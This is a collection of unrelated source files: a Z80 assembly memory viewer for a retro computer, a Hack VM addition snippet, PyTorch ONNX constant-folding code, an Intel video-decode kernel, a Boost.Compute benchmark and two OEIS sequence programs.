LD A, 10 CALL debug_io_print_character_A JP ui_window_handle_input_propagate memory_handle_input_hex: LD A, $F SUB A, C LD HL, (memory_cursor_address) RLD JP ui_window_handle_input_do_not_propagate memory_handle_input_hex_keycodes: defb $45; 0 defb $16; 1 defb $1E; 2 defb $26; 3 defb $25; 4 defb $2E; 5 defb $36; 6 defb $3D; 7 defb $3E; 8 defb $46; 9 defb $1C; A defb $32; B defb $21; C defb $23; D defb $24; E defb $2B; F memory_handle_vsync: LD IX, memory_viewer CALL ui_widget_IX_draw LD IX, memory_info_label CALL ui_widget_IX_draw RET memory_handle_input_run_code: CALL memory_cursor_hide LD HL, memory_handle_input_run_code_return PUSH HL LD HL, (memory_cursor_address) JP (HL) memory_handle_input_run_code_return: CALL memory_cursor_show JP ui_window_handle_input_do_not_propagate memory_handle_input_cursor_left: CALL memory_cursor_hide LD HL, (memory_cursor_address) DEC HL LD (memory_cursor_address), HL CALL memory_check_cursor_underflow CALL memory_cursor_show LD IX, memory_info_label CALL ui_widget_IX_draw JP ui_window_handle_input_do_not_propagate memory_handle_input_cursor_right: CALL memory_cursor_hide LD HL, (memory_cursor_address) INC HL LD (memory_cursor_address), HL CALL memory_check_cursor_overflow CALL memory_cursor_show LD IX, memory_info_label CALL ui_widget_IX_draw JP ui_window_handle_input_do_not_propagate memory_handle_input_cursor_page_up: CALL memory_cursor_hide LD BC, -256 JR memory_handle_input_cursor_up memory_handle_input_cursor_line_up: CALL memory_cursor_hide LD BC, -16 memory_handle_input_cursor_up: LD HL, (memory_cursor_address) ADD HL, BC LD (memory_cursor_address), HL CALL memory_check_cursor_underflow CALL memory_cursor_show LD IX, memory_info_label CALL ui_widget_IX_draw JP ui_window_handle_input_do_not_propagate memory_handle_input_cursor_page_down: CALL memory_cursor_hide LD BC, 256 JR memory_handle_input_cursor_down memory_handle_input_cursor_line_down: CALL memory_cursor_hide LD BC, 16 memory_handle_input_cursor_down: LD HL, (memory_cursor_address) ADD HL, BC LD (memory_cursor_address), HL CALL memory_check_cursor_overflow CALL memory_cursor_show LD IX, memory_info_label CALL ui_widget_IX_draw JP ui_window_handle_input_do_not_propagate memory_check_cursor_underflow: LD HL, (memory_cursor_address) LD DE, (memory_viewer_top_address) XOR A, A ; clear carry SBC HL, DE RET P EX DE, HL LD BC, -$100 ADD HL, BC LD (memory_viewer_top_address), HL LD IX, memory_viewer JP ui_widget_IX_draw memory_check_cursor_overflow: LD HL, (memory_viewer_top_address) LD BC, 24*16-1 ADD HL, BC LD DE, (memory_cursor_address) XOR A, A ; clear carry SBC HL, DE RET P LD HL, (memory_viewer_top_address) LD BC, $100 ADD HL, BC LD (memory_viewer_top_address), HL LD IX, memory_viewer JP ui_widget_IX_draw memory_cursor_hide: LD IX, memory_cursor XOR A, A LD (memory_cursor_visible), A JP ui_widget_IX_draw memory_cursor_show: LD IX, memory_cursor LD A, 1 LD (memory_cursor_visible), A JP ui_widget_IX_draw memory_viewer_IX_draw: CALL ui_box_IX_calculate_absolute_position_DE LD HL, (memory_viewer_top_address) INC E LD B, 24 memory_viewer_IX_draw_loop: PUSH BC LD A, E OUT (video_address_l), A LD A, D OUT (video_address_h), A LD A, '$' OUT (video_table_name_increment), A LD A, H CALL memory_viewer_print_hex_byte_A LD A, L CALL memory_viewer_print_hex_byte_A LD A, ' ' OUT (video_table_name_increment), A OUT (video_table_name_increment), A OUT (video_table_name_increment), A LD B, 16 memory_viewer_IX_draw_hex_loop: LD A, (HL) INC HL CALL memory_viewer_print_hex_byte_A LD A, ' ' OUT (video_table_name_increment), A DJNZ memory_viewer_IX_draw_hex_loop OUT (video_table_name_increment), A OUT (video_table_name_increment), A ; ascii view LD BC, -16 ADD HL, BC LD B, 16 LD C, video_table_name_increment OTIR INC D POP BC DJNZ memory_viewer_IX_draw_loop RET memory_cursor_IX_draw: CALL ui_box_IX_calculate_absolute_position_DE LD HL, (memory_cursor_address) LD BC, (memory_viewer_top_address) AND A, A SBC HL, BC LD A, L SRL H RRA SRL H RRA SRL H RRA SRL H RRA EX DE, HL LD B, A LD C, 0 ADD HL, BC EX DE, HL LD A, E OUT (video_address_l), A LD A, D OUT (video_address_h), A LD HL, memory_cursor_visible LD A, $4F LD B, 7 BIT 0, (HL) JR NZ, memory_cursor_IX_draw_address_loop LD A, (memory_address_panel + ui_panel_background_color) memory_cursor_IX_draw_address_loop: OUT (video_table_attribute_increment), A DJNZ memory_cursor_IX_draw_address_loop LD A, (memory_cursor_address) AND A, $0F LD B, A ADD A, A ADD A, B ADD A, 8 ADD A, E OUT (video_address_l), A LD A, $4F LD B, 4 BIT 0, (HL) JR NZ, memory_cursor_IX_draw_hex_loop LD A, (memory_hexadecimal_panel + ui_panel_background_color) memory_cursor_IX_draw_hex_loop: OUT (video_table_attribute_increment), A DJNZ memory_cursor_IX_draw_hex_loop LD A, (memory_cursor_address) AND A, $0F ADD A, 59 ADD A, E OUT (video_address_l), A LD A, $4F BIT 0, (HL) JR NZ, memory_cursor_IX_draw_ascii_out LD A, (memory_ascii_panel + ui_panel_background_color) memory_cursor_IX_draw_ascii_out: OUT (video_table_attribute_increment), A RET memory_viewer_print_hex_byte_A: PUSH AF RRCA RRCA RRCA RRCA CALL memory_viewer_print_hex_nibble_A POP AF memory_viewer_print_hex_nibble_A: AND A, $0F ADD A, $90 DAA ADC A, $40 DAA OUT (video_table_name_increment), A RET memory_info_label_draw: CALL memory_info_text_update JP ui_label_IX_draw memory_info_text_update: ; address LD DE, memory_info_text_address LD HL, (memory_cursor_address) LD A, H CALL convert_A_to_hex_string_DE LD A, L CALL convert_A_to_hex_string_DE ; hex LD DE, memory_info_text_value_hex LD A, (HL) CALL convert_A_to_hex_string_DE ; binary LD DE, memory_info_text_value_bin LD A, (HL) CALL convert_A_to_binary_string_DE ; decimal LD HL, (memory_cursor_address) LD L, (HL) LD H, 0 LD DE, memory_info_text_value_dec CALL convert_HL_to_decimal_string_DE_ret_length_B LD HL, (memory_cursor_address) LD L, (HL) BIT 7, L JR Z, memory_info_text_update_end ; negative decimal LD A, L NEG A LD HL, memory_info_text_sep_neg LD BC, memory_info_text_sep_neg_len LDIR LD L, A LD H, B; 0 here CALL convert_HL_to_decimal_string_DE_ret_length_B memory_info_text_update_end: XOR A, A LD (DE), A RET section objects_immutable memory_app: defw memory_app_init defw memory_app_activate defw memory_app_deactivate defw memory_main_window defw memory_menu_window defw 0 memory_main_window: defb ui_object_type_window defb 0, 1, 80, 28 defb $1F, ' ' defw memory_handle_input defw memory_handle_vsync defw memory_address_panel defw memory_hexadecimal_panel defw memory_ascii_panel defw memory_viewer defw memory_cursor defw memory_info_label defw 0 memory_address_panel: defb ui_object_type_widget defb 2, 1, 7, 24 defw memory_main_window defw ui_panel_IX_draw defb $03, ' ' memory_hexadecimal_panel: defb ui_object_type_widget defb 10, 1, 49, 24 defw memory_main_window defw ui_panel_IX_draw defb $0E, ' ' memory_ascii_panel: defb ui_object_type_widget defb 60, 1, 18, 24 defw memory_main_window defw ui_panel_IX_draw defb $07, ' ' memory_info_label: defb ui_object_type_widget defb 2, 26, memory_info_text_len, 1 defw memory_main_window defw memory_info_label_draw defw memory_info_text memory_viewer: defb ui_object_type_widget defb 2, 1, 76, 24 defw memory_main_window defw memory_viewer_IX_draw memory_menu_window: defb ui_object_type_window defb 0, 0, 80, 1 defb $3F, ' ' defw ui_window_handle_input_propagate defw ui_window_handle_vsync_noop defw memory_menu_hotkey_highlight defw memory_menu_label defw 0 memory_menu_label: defb ui_object_type_widget defb 1, 0, 78, 1 defw memory_menu_window defw ui_label_IX_draw defw memory_menu_label_text memory_menu_hotkey_highlight: defb ui_object_type_widget defb 0, 0, 78, 1 defw memory_menu_label defw ui_hotkey_highlight_IX_draw defw $3E section objects_mutable memory_cursor: defb ui_object_type_widget defb 0, 0, 76, 24 defw memory_viewer defw memory_cursor_IX_draw section strings memory_menu_label_text: defb 27, 24, 25, 26, "-Move Cursor PageUp/Down-Skip 256 Bytes 0~9/A~F-Change Byte R-Run Code", 0 memory_info_text_sep_neg: defb " or -" memory_info_text_sep_neg_end: defc memory_info_text_sep_neg_len = memory_info_text_sep_neg_end - memory_info_text_sep_neg section ram_initialized memory_viewer_top_address: defw $8000 memory_cursor_address: defw $8000 memory_cursor_visible: defb 1 memory_info_text: defb "Address: $" memory_info_text_address: ; "1234" defb " " defb " Hexadecimal: $" memory_info_text_value_hex: defb " " defb " Binary: %" memory_info_text_value_bin: ; "12345678" defb " " defb " Decimal: " memory_info_text_value_dec: ; "128 or -128" defb " " memory_info_text_end: defb 0 defc memory_info_text_len = memory_info_text_end - memory_info_text
///StackArithmetic\SimpleAdd\SimpleAdd.asm /// @7 D=A @SP A=M M=D @SP M=M+1 @8 D=A @SP A=M M=D @SP M=M+1 @SP AM=M-1 D=M @SP A=M-1 M=M+D
#include <torch/csrc/jit/passes/onnx/constant_fold.h> #include <c10/util/Exception.h> #include <torch/csrc/jit/passes/onnx/helper.h> #include <c10/util/Optional.h> #include <algorithm> namespace torch { namespace jit { namespace onnx { using namespace ::c10::onnx; } namespace { enum OnnxType : int { ONNX_FLOAT = 1, ONNX_UINT8, ONNX_INT8, ONNX_UINT16, ONNX_INT16, ONNX_INT32, ONNX_INT64, ONNX_FLOAT16 = 10, ONNX_DOUBLE, ONNX_UINT32, }; std::unordered_map<int, at::ScalarType> onnxTypeToScalarTypeMap = { // Only conversion of ONNX numeric types is included here. // Unsigned ONNX types are mapped to the next higher signed // ScalarType type. {ONNX_FLOAT, at::kFloat}, {ONNX_UINT8, at::kByte}, {ONNX_INT8, at::kChar}, {ONNX_UINT16, at::kInt}, {ONNX_INT16, at::kShort}, {ONNX_INT32, at::kInt}, {ONNX_INT64, at::kLong}, {ONNX_FLOAT16, at::kFloat}, {ONNX_DOUBLE, at::kDouble}, {ONNX_UINT32, at::kLong}, }; void handleNegativeStartEndIndex( int64_t& start, int64_t& end, int64_t& axis, c10::IntArrayRef tensorSizes) { if (start < 0) { start = tensorSizes[axis] + start; } if (end < 0) { end = tensorSizes[axis] + end; } // index higher than dimension is treated as the end. if (end > tensorSizes[axis]) { end = tensorSizes[axis]; } } c10::optional<at::Tensor> runTorchSlice_opset9( const Node* node, std::vector<at::Tensor>& inputTensorValues) { assert(inputTensorValues.size() == 1); if (inputTensorValues.size() != 1) { std::cerr << "Warning: Constant folding - Invalid number of inputs found for opset 9 onnx::Slice op. " << "Constant folding not applied." << std::endl; return c10::nullopt; } if (!(node->hasAttributeS("starts") && node->hasAttributeS("ends"))) { return c10::nullopt; } auto startsAttr = node->is(attr::starts); auto endsAttr = node->is(attr::ends); if (startsAttr.size() != endsAttr.size()) { return c10::nullopt; } std::vector<int64_t> axesAttr; if (node->hasAttributeS("axes")) { axesAttr = node->is(attr::axes); } else { axesAttr.resize(startsAttr.size()); std::iota(axesAttr.begin(), axesAttr.end(), 0); } auto updated_val = inputTensorValues[0]; for (size_t i = 0; i < axesAttr.size(); ++i) { // ONNX slice accepts negative starts and ends values. int64_t axis = axesAttr[i], start = startsAttr[i], end = endsAttr[i]; // ONNX slice accepts negative axis, fix this for aten op axis += axis < 0 ? inputTensorValues[0].sizes().size() : 0; handleNegativeStartEndIndex(start, end, axis, updated_val.sizes()); int64_t length = end - start; if (length < 0 || start > updated_val.sizes()[axis] - length) return c10::nullopt; updated_val = at::narrow(updated_val, axis, start, length); } return c10::optional<at::Tensor>(updated_val); } c10::optional<at::Tensor> runTorchSlice_opset10( const Node* node, std::vector<at::Tensor>& inputTensorValues) { const int maxSliceInputCount = 5; const int minSliceInputCount = 3; if (inputTensorValues.size() < minSliceInputCount || inputTensorValues.size() > maxSliceInputCount) { std::cerr << "Warning: Constant folding - Invalid number of inputs found for opset 10 or 11 onnx::Slice op. " << "Constant folding not applied." << std::endl; return c10::nullopt; } // Checking validity of 'starts' and 'ends' input if (inputTensorValues[1].sizes().size() != 1 || inputTensorValues[2].sizes().size() != 1) { std::cerr << "Warning: Constant folding - Invalid 'starts' or 'ends' inputs found for opset 10 or 11 onnx::Slice op. " << "Constant folding not applied." << std::endl; return c10::nullopt; } if (inputTensorValues[1].sizes()[0] != inputTensorValues[2].sizes()[0]) { // Number of elements of 'starts' and 'ends' 1-D input tensors should be the // same return c10::nullopt; } // Checking 'axes' input, if available. std::vector<int64_t> axes; if (inputTensorValues.size() > 3) { if (inputTensorValues[3].sizes().size() != 1) { std::cerr << "Warning: Constant folding - Invalid 'axes' input found for opset 10 onnx::Slice op. " << "Constant folding not applied." << std::endl; return c10::nullopt; } if (inputTensorValues[3].sizes()[0] != inputTensorValues[1].sizes()[0]) { // Number of elements of 'axes' and 'ends' 1-D input tensors should be the // same std::cerr << "Warning: Constant folding - Invalid 'axes' or 'ends' inputs found for opset 10 onnx::Slice op. " << "Constant folding not applied." << std::endl; return c10::nullopt; } auto axes_a = inputTensorValues[3].accessor<int64_t, 1>(); axes.reserve(inputTensorValues[3].sizes()[0]); // ONNX slice accepts negative axis, fix this for aten op for (size_t i = 0; i < inputTensorValues[3].sizes()[0]; ++i) { axes[i] = axes_a[i] < 0 ? axes_a[i] + inputTensorValues[0].sizes().size() : axes_a[i]; } } else { axes = std::vector<int64_t>(inputTensorValues[1].sizes()[0], 0); } // Checking 'steps' input, if available. if (inputTensorValues.size() > 4) { if (inputTensorValues[4].sizes().size() != 1) { std::cerr << "Warning: Constant folding - Invalid 'steps' input found for opset 10 onnx::Slice op. " << "Constant folding not applied." << std::endl; return c10::nullopt; } if (inputTensorValues[4].sizes()[0] != inputTensorValues[1].sizes()[0]) { // Number of elements of 'steps' and 'ends' 1-D input tensors should be // the same std::cerr << "Warning: Constant folding - Invalid 'steps' or 'ends' inputs found for opset 10 onnx::Slice op. " << "Constant folding not applied." << std::endl; return c10::nullopt; } auto steps_a = inputTensorValues[4].accessor<int64_t, 1>(); for (size_t i = 0; i < inputTensorValues[4].sizes()[0]; ++i) { // Only steps == 1 are supported for constant-folding. if (steps_a[i] != 1) { std::cerr << "Warning: Constant folding - Only steps=1 can be constant folded for opset 10 onnx::Slice op. " << "Constant folding not applied." << std::endl; return c10::nullopt; } } } auto starts_a = inputTensorValues[1].accessor<int64_t, 1>(); auto ends_a = inputTensorValues[2].accessor<int64_t, 1>(); auto updated_val = inputTensorValues[0]; for (size_t i = 0; i < inputTensorValues[1].sizes()[0]; ++i) { // ONNX slice accepts negative starts and ends values. int64_t start = starts_a[i], end = ends_a[i], axis = axes[i]; handleNegativeStartEndIndex(start, end, axis, updated_val.sizes()); int64_t length = end - start; if (length < 0 || start > updated_val.sizes()[axis] - length) return c10::nullopt; updated_val = at::narrow(updated_val, axis, start, length); } return c10::optional<at::Tensor>(updated_val); } c10::optional<at::Tensor> runTorchBackendForOnnx( const Node* node, std::vector<at::Tensor>& inputTensorValues, int opset_version) { at::Tensor updated_val; if (node->kind() == onnx::Slice) { if (opset_version == ONNX_OPSET_9) { return runTorchSlice_opset9(node, inputTensorValues); } else if ( opset_version == ONNX_OPSET_10 || opset_version == ONNX_OPSET_11 || opset_version == ONNX_OPSET_12) { return runTorchSlice_opset10(node, inputTensorValues); } else { std::cerr << "Warning: Constant folding - unsupported opset version. " << "Constant folding not applied." << std::endl; return c10::nullopt; } } else if (node->kind() == onnx::Concat) { if (!node->hasAttributeS("axis")) { return c10::nullopt; } updated_val = at::cat(at::TensorList(inputTensorValues), node->i(attr::axis)); return c10::optional<at::Tensor>(updated_val); } else if (node->kind() == onnx::Sqrt) { updated_val = at::sqrt(inputTensorValues[0]); return c10::optional<at::Tensor>(updated_val); } else if (node->kind() == onnx::Div) { updated_val = at::div(inputTensorValues[0], inputTensorValues[1]); return c10::optional<at::Tensor>(updated_val); } else if (node->kind() == onnx::Mul) { updated_val = at::mul(inputTensorValues[0], inputTensorValues[1]); return c10::optional<at::Tensor>(updated_val); } else if (node->kind() == onnx::Sub) { updated_val = at::sub(inputTensorValues[0], inputTensorValues[1]); return c10::optional<at::Tensor>(updated_val); } else if (node->kind() == onnx::Add) { updated_val = at::add(inputTensorValues[0], inputTensorValues[1]); return c10::optional<at::Tensor>(updated_val); } else if (node->kind() == onnx::Unsqueeze) { assert(inputTensorValues.size() == 1); if (!node->hasAttributeS("axes")) { return c10::nullopt; } updated_val = inputTensorValues[0]; for (auto axis : node->is(attr::axes)) { updated_val = at::unsqueeze(updated_val, axis); } return c10::optional<at::Tensor>(updated_val); } else if (node->kind() == onnx::Transpose) { assert(inputTensorValues.size() == 1); if (!node->hasAttributeS("perm")) { return c10::nullopt; } updated_val = inputTensorValues[0].permute(node->is(attr::perm)); return c10::optional<at::Tensor>(updated_val); } else if (node->kind() == onnx::Cast) { assert(inputTensorValues.size() == 1); if (node->hasAttributeS("to") && ONNXTypeToATenType(node->i(attr::to))) { updated_val = inputTensorValues[0].to( ONNXTypeToATenType(node->i(attr::to)).value()); return c10::optional<at::Tensor>(updated_val); } return c10::nullopt; } else if (node->kind() == onnx::Reshape) { assert(inputTensorValues.size() == 2); updated_val = inputTensorValues[0]; std::vector<int64_t> shape(inputTensorValues[1].sizes()[0], 0); auto shape_a = inputTensorValues[1].accessor<int64_t, 1>(); for (size_t i = 0; i < inputTensorValues[1].sizes()[0]; ++i) { // All shape dim values should be >= -1 // onnx::Reshape supports a shape dim value to be zero, in // which case the actual dim value remains unchanged. However, // at::reshape does not support shape dim value to be zero assert(shape_a[i] >= -1); if (shape_a[i] == 0) { if (i >= inputTensorValues[0].sizes().size()) { throw std::runtime_error( "Dimension with value 0 exceeds the input size dimensions."); } shape[i] = inputTensorValues[0].sizes()[i]; } else { shape[i] = shape_a[i]; } } return c10::optional<at::Tensor>(at::reshape(updated_val, shape)); } else if (node->kind() == onnx::Shape) { TORCH_INTERNAL_ASSERT(inputTensorValues.size() == 1); updated_val = at::_shape_as_tensor(inputTensorValues[0]); return c10::optional<at::Tensor>(updated_val); } else if (node->kind() == onnx::ReduceL1 || node->kind() == onnx::ReduceL2) { assert(inputTensorValues.size() == 1); if (!node->hasAttributeS("axes")) { return c10::nullopt; } if (!node->hasAttributeS("keepdims")) { return c10::nullopt; } int p = node->kind() == onnx::ReduceL1 ? 1 : 2; updated_val = at::norm( inputTensorValues[0], p, node->is(attr::axes), node->i(attr::keepdims)); return c10::optional<at::Tensor>(updated_val); } else if (node->kind() == onnx::Gather) { assert(inputTensorValues.size() == 2); if (!node->hasAttributeS("axis")) { return c10::nullopt; } auto axis = node->i(attr::axis); // If axis attribute for onnx::Gather has a value less than 0, // It needs to be adjusted (+= dim sizes) for aten op axis += axis < 0 ? inputTensorValues[0].sizes().size() : 0; at::Tensor indices = inputTensorValues[1]; // If indices input for onnx::Gather has a value less than 0, // It needs to be adjusted (+= dim value) for aten op auto less_mask = at::lt(indices, 0); auto indices_corr = at::add(indices, inputTensorValues[0].sizes()[axis]); auto indices_masked = at::where(less_mask, indices_corr, indices); updated_val = at::index_select(inputTensorValues[0], axis, indices_masked); return c10::optional<at::Tensor>(updated_val); } else { return c10::nullopt; } } bool isConstant(Value* val, const ValueToParamPairMap& valsToParamsMap) { auto parentNode = val->node(); return (parentNode->kind() == prim::Param && valsToParamsMap.find(val) != valsToParamsMap .end()) || // Checks val is a parameter and not a real input (parentNode->kind() == onnx::Constant && !parentNode->mustBeNone() && parentNode->kindOf(attr::value) == AttributeKind::t); // Check other types? } std::vector<at::Tensor> getValues( Node* node, const ValueToParamPairMap& valsToParamsMap) { size_t numInputs = node->inputs().size(); std::vector<at::Tensor> inputTensorValues; inputTensorValues.reserve(numInputs); for (auto val : node->inputs()) { if (val->node()->kind() == prim::Param) { auto itr = valsToParamsMap.find(val); if (itr == valsToParamsMap.end()) { throw std::runtime_error( "getValues: Input value not found amongst constant parameters."); } inputTensorValues.push_back(itr->second.second.toTensor()); } else if (val->node()->kind() == onnx::Constant) { inputTensorValues.push_back(val->node()->t(attr::value)); } else { throw std::runtime_error( "getValues: Unsupported kind of constant node found."); } } AT_ASSERT(inputTensorValues.size() == numInputs); return inputTensorValues; } bool areNodeInputsConstant( Node* node, const ValueToParamPairMap& valsToParamsMap) { return std::all_of( node->inputs().begin(), node->inputs().end(), [&valsToParamsMap](Value* v) { return isConstant(v, valsToParamsMap); }); } std::vector<Node*> getOnnxConstParentsToRemove(Node* node) { std::vector<Node*> parentNodes; for (auto val : node->inputs()) { // If the parent of 'node' is an onnx::Constant node, // and 'node' is the only downstream node it serves (this // is important), then push it in the list to remove. if (val->node()->kind() == onnx::Constant && val->uses().size() == 1) { parentNodes.push_back(val->node()); } } return parentNodes; } } // Anonymous namespace // This method updates the block in-place to fold all the one-time // constant-based computations/ops into an initializer node. // // NB: This is not constant folding in the traditional sense, as we // don't try particularly hard to evaluate operations on constant nodes. // This is more of a partial evaluation analysis, where operations on constant // nodes can be lifted so we run them earlier, before the usual parameters are // known. void ConstantFoldONNX(Block* b, ParamMap& paramsDict, int opset_version) { if (opset_version != ONNX_OPSET_9 && opset_version != ONNX_OPSET_10 && opset_version != ONNX_OPSET_11 && opset_version != ONNX_OPSET_12) { // Number of elements of 'axes' and 'ends' 1-D input tensors should be the // same std::cerr << "Warning: Constant folding supported for only opsets 9, 10, and 11. " << "Constant folding not applied." << std::endl; return; } AT_ASSERT(b->param_node()); auto valsToParamsMap = buildValueToParamsMap(b, paramsDict); // Only the root block is constant-folded. Folding nested blocks is // not supported for now. for (auto it = b->nodes().begin(), end = b->nodes().end(); it != end; ++it) { auto node = *it; if (node->outputs().size() > 1) { // Constant folding for multiple-output nodes not supported. Skip it. continue; } if (!areNodeInputsConstant(node, valsToParamsMap)) { // If all the inputs to this node are not either parameter or // onnx::Constant, then skip this node. continue; } auto inputTensorValues = getValues(node, valsToParamsMap); if (inputTensorValues.empty()) { // This is a terminal node with no inputs, such as onnx::Constant. Skip // it. continue; } auto updatedValWrapped = runTorchBackendForOnnx(node, inputTensorValues, opset_version); if (updatedValWrapped == c10::nullopt) { // Constant folding is not supported for this op. Skip it. continue; } // Create a new input to the block (prim::Param node output). Add a // corresponding entryin valToParamMap. Replace the downstream inputs // with this value, and disconnect all the input values of the folded node. at::Tensor updatedVal = *updatedValWrapped; auto newSourceNodeOutput = b->addInput(); valsToParamsMap.insert( {newSourceNodeOutput, std::make_pair(newSourceNodeOutput->debugName(), updatedVal)}); newSourceNodeOutput->inferTypeFrom(updatedVal); node->outputs().at(0)->replaceAllUsesWith(newSourceNodeOutput); // Next we remove the current node that has been replaced by // an initializer. But before we start de-wiring this node, // we check if any parents of this nodes were onnx::Constant // and remove them first (following proper sequence as shown // below), and then remove the current node. If the parent was // an initializer (not onnx::Constant) then they are all removed // by eraseUnusedBlockInputs() call (below) outside the loop. auto onnxConstParents = getOnnxConstParentsToRemove(node); node->removeAllInputs(); for (auto* n : onnxConstParents) { n->destroy(); } it.destroyCurrent(); } eraseUnusedValuesFromMap(valsToParamsMap); eraseUnusedBlockInputs(b); buildParamsMapFromValueToParamsMap(valsToParamsMap, paramsDict); return; } } // namespace jit } // namespace torch
/* * Decode Intra_16x16 macroblock * Copyright © <2010>, Intel Corporation. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sub license, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice (including the * next paragraph) shall be included in all copies or substantial portions * of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. * IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * This file was originally licensed under the following license * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ // Kernel name: Intra_16x16.asm // // Decoding of Intra_16x16 macroblock // // $Revision: 8 $ // $Date: 10/18/06 4:10p $ // // ---------------------------------------------------- // Main: Intra_16x16 // ---------------------------------------------------- #define INTRA_16X16 .kernel Intra_16x16 INTRA_16x16: #ifdef _DEBUG // WA for FULSIM so we'll know which kernel is being debugged mov (1) acc0:ud 0x00aa55a5:ud #endif #include "SetupForHWMC.asm" #ifdef SW_SCOREBOARD CALL(scoreboard_start_intra,1) #endif #ifdef SW_SCOREBOARD wait n0:ud // Now wait for scoreboard to response #endif // // Decode Y blocks // // Load reference data from neighboring macroblocks CALL(load_Intra_Ref_Y,1) // Intra predict Intra_16x16 luma block #include "intra_pred_16x16_Y.asm" // Add error data to predicted intra data #include "add_Error_16x16_Y.asm" // Save decoded Y picture CALL(save_16x16_Y,1) // // Decode U/V blocks // // Note: The decoding for chroma blocks will be the same for all intra prediction mode // CALL(decode_Chroma_Intra,1) #ifdef SW_SCOREBOARD #include "scoreboard_update.asm" #endif // Terminate the thread // #include "EndIntraThread.asm" // End of Intra_16x16
//---------------------------------------------------------------------------// // Copyright (c) 2014 Roshan <thisisroshansmail@gmail.com> // // Distributed under the Boost Software License, Version 1.0 // See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt // // See http://kylelutz.github.com/compute for more information. //---------------------------------------------------------------------------// #include <algorithm> #include <iostream> #include <numeric> #include <vector> #include "perf.hpp" int rand_int() { return static_cast<int>((rand() / double(RAND_MAX)) * 25.0); } int main(int argc, char *argv[]) { perf_parse_args(argc, argv); std::cout << "size: " << PERF_N << std::endl; // create vector of random numbers on the host std::vector<int> host_vector(PERF_N); std::generate(host_vector.begin(), host_vector.end(), rand_int); int pattern[] = {2, 6, 6, 7, 8, 4}; perf_timer t; for(size_t trial = 0; trial < PERF_TRIALS; trial++){ t.start(); std::search(host_vector.begin(), host_vector.end(), pattern, pattern + 6); t.stop(); } std::cout << "time: " << t.min_time() / 1e6 << " ms" << std::endl; return 0; }
; A224613: a(n) = sigma(6*n). ; 12,28,39,60,72,91,96,124,120,168,144,195,168,224,234,252,216,280,240,360,312,336,288,403,372,392,363,480,360,546,384,508,468,504,576,600,456,560,546,744,504,728,528,720,720,672,576,819,684,868,702,840,648,847,864,992,780,840,720,1170,744,896,960,1020,1008,1092,816,1080,936,1344,864,1240,888,1064,1209,1200,1152,1274,960,1512,1092,1176,1008,1560,1296,1232,1170,1488,1080,1680,1344,1440,1248,1344,1440,1651,1176,1596,1440,1860 mul $0,6 add $0,5 seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
; A100152: Structured truncated cubic numbers. ; 1,24,100,260,535,956,1554,2360,3405,4720,6336,8284,10595,13300,16430,20016,24089,28680,33820,39540,45871,52844,60490,68840,77925,87776,98424,109900,122235,135460,149606,164704,180785,197880,216020,235236,255559,277020,299650,323480,348541,374864,402480,431420,461715,493396,526494,561040,597065,634600,673676,714324,756575,800460,846010,893256,942229,992960,1045480,1099820,1156011,1214084,1274070,1336000,1399905,1465816,1533764,1603780,1675895,1750140,1826546,1905144,1985965,2069040,2154400,2242076,2332099,2424500,2519310,2616560,2716281,2818504,2923260,3030580,3140495,3253036,3368234,3486120,3606725,3730080,3856216,3985164,4116955,4251620,4389190,4529696,4673169,4819640,4969140,5121700,5277351,5436124,5598050,5763160,5931485,6103056,6277904,6456060,6637555,6822420,7010686,7202384,7397545,7596200,7798380,8004116,8213439,8426380,8642970,8863240,9087221,9314944,9546440,9781740,10020875,10263876,10510774,10761600,11016385,11275160,11537956,11804804,12075735,12350780,12629970,12913336,13200909,13492720,13788800,14089180,14393891,14702964,15016430,15334320,15656665,15983496,16314844,16650740,16991215,17336300,17686026,18040424,18399525,18763360,19131960,19505356,19883579,20266660,20654630,21047520,21445361,21848184,22256020,22668900,23086855,23509916,23938114,24371480,24810045,25253840,25702896,26157244,26616915,27081940,27552350,28028176,28509449,28996200,29488460,29986260,30489631,30998604,31513210,32033480,32559445,33091136,33628584,34171820,34720875,35275780,35836566,36403264,36975905,37554520,38139140,38729796,39326519,39929340,40538290,41153400,41774701,42402224,43036000,43676060,44322435,44975156,45634254,46299760,46971705,47650120,48335036,49026484,49724495,50429100,51140330,51858216,52582789,53314080,54052120,54796940,55548571,56307044,57072390,57844640,58623825,59409976,60203124,61003300,61810535,62624860,63446306,64274904,65110685,65953680,66803920,67661436,68526259,69398420,70277950,71164880,72059241,72961064,73870380,74787220,75711615,76643596,77583194,78530440,79485365,80448000 mov $1,1 mov $2,$0 mov $7,$0 add $0,2 lpb $2,1 add $1,3 lpb $0,1 add $3,$0 sub $0,1 lpe add $3,2 sub $3,$2 add $1,$3 sub $2,1 lpe mov $5,$7 mov $8,$7 lpb $5,1 sub $5,1 add $6,$8 lpe mov $4,8 mov $8,$6 lpb $4,1 add $1,$8 sub $4,1 lpe mov $5,$7 mov $6,0 lpb $5,1 sub $5,1 add $6,$8 lpe mov $4,5 mov $8,$6 lpb $4,1 add $1,$8 sub $4,1 lpe
